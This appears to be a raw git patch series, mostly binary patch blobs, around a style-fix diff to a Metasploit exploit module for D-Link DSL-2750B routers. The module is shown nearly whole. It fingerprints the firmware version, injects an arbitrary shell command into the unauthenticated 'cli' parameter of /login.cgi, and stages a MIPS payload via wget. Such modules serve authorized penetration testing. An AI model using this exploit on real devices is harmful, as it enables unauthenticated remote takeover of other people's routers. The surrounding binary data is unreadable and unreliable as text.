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 Oa)zsq>#088QU3w6owVlw From 6cc1a8dcbdc72c82fc004114160ae38641b5a9b2 Mon Sep 17 00:00:00 2001 From: lucyoa Date: Tue, 22 May 2018 10:34:05 -0400 Subject: [PATCH 38/41] Rubocop fixes --- .../linux/http/dlink_dsl2750b_exec_noauth.rb | 61 ++++++++++--------- 1 file changed, 33 insertions(+), 28 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb index c2b5d2481c..53dad819db 100644 --- a/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_dsl2750b_exec_noauth.rb @@ -12,49 +12,51 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, 'Name' => 'D-Link DSL-2750B OS Command Injection', - 'Description' => %q{ + 'Description' => %q( This module exploits a remote command injection vulnerability in D-Link DSL-2750B devices. Vulnerability can be exploited through "cli" parameter that is directly used to invoke "ayecli" binary. Vulnerable firmwares are from 1.01 up to 1.03. - }, + ), 'Author' => [ - 'p@ql', # vulnerability discovery - 'Marcin Bury ' # metasploit module + 'p@ql', # vulnerability discovery + 'Marcin Bury ' # metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['PACKETSTORM', 135706], ['URL', 'http://seclists.org/fulldisclosure/2016/Feb/53'], - ['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/'], + ['URL', 'http://www.quantumleap.it/d-link-router-dsl-2750b-firmware-1-01-1-03-rce-no-auth/'] ], 'Targets' => [ - [ 'Linux mipsbe Payload', + [ + 'Linux mipsbe Payload', { - 'Arch' => ARCH_MIPSBE, - 'Platform' => 'linux' + 'Arch' => ARCH_MIPSBE, + 'Platform' => 'linux' } ], - [ 'Linux mipsel Payload', + [ + 'Linux mipsel Payload', { - 'Arch' => ARCH_MIPSLE, - 'Platform' => 'linux' + 'Arch' => ARCH_MIPSLE, + 'Platform' => 'linux' } - ], + ] ], 'DisclosureDate' => 'Feb 5 2016', 'DefaultTarget' => 0)) - deregister_options('CMDSTAGER::FLAVOR') + deregister_options('CMDSTAGER::FLAVOR') end def check - res = send_request_cgi({ + res = send_request_cgi( 'method' => 'GET', 'uri' => '/ayefeaturesconvert.js' - }) + ) unless res vprint_error('Connection failed') @@ -67,9 +69,9 @@ class MetasploitModule < Msf::Exploit::Remote end if res.body =~ /var AYECOM_FWVER="(\d.\d+)";/ - version = $1 + version = Regexp.last_match[1] vprint_status("Remote host is a DSL-2750B with firmware version #{version}") - if version >= "1.01" and version <= "1.03" + if version >= "1.01" && version <= "1.03" return Exploit::CheckCode::Appears end end @@ -80,16 +82,19 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown end - def execute_command(cmd, opts) + def execute_command(cmd, _opts) payload = Rex::Text.uri_encode("multilingual show';#{cmd}'") - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => '/login.cgi', - 'vars_get' => { - 'cli' => "#{payload}$" + send_request_cgi( + { + 'method' => 'GET', + 'uri' => '/login.cgi', + 'vars_get' => { + 'cli' => "#{payload}$" + }, + 'encode_params' => false }, - 'encode_params' => false - }, 5) + 5 + ) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} Failed to connect to the web server") end @@ -98,12 +103,12 @@ class MetasploitModule < Msf::Exploit::Remote print_status("#{peer} Checking target version...") unless check == Exploit::CheckCode::Appears - fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') + fail_with(Failure::NotVulnerable, 'Target is not vulnerable') end execute_cmdstager( - :flavor => :wget, - :linemax => 200 + flavor: :wget, + linemax: 200 ) end end From 8ba69f2d10fa4d81d5f47f696a9b0bc9c49a395f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 22 May 2018 09:00:23 -0700 Subject: [PATCH 39/41] automatic module_metadata_base.pstore update --- db/modules_metadata_base.pstore | Bin 3060140 -> 3060886 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/db/modules_metadata_base.pstore b/db/modules_metadata_base.pstore index daf673375e648cbfd3c2c73c052b3851d73497c1..ad478acb5ff51cf53168d1f4ee7949a51ce87fdf 100644 GIT binary patch delta 136163 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 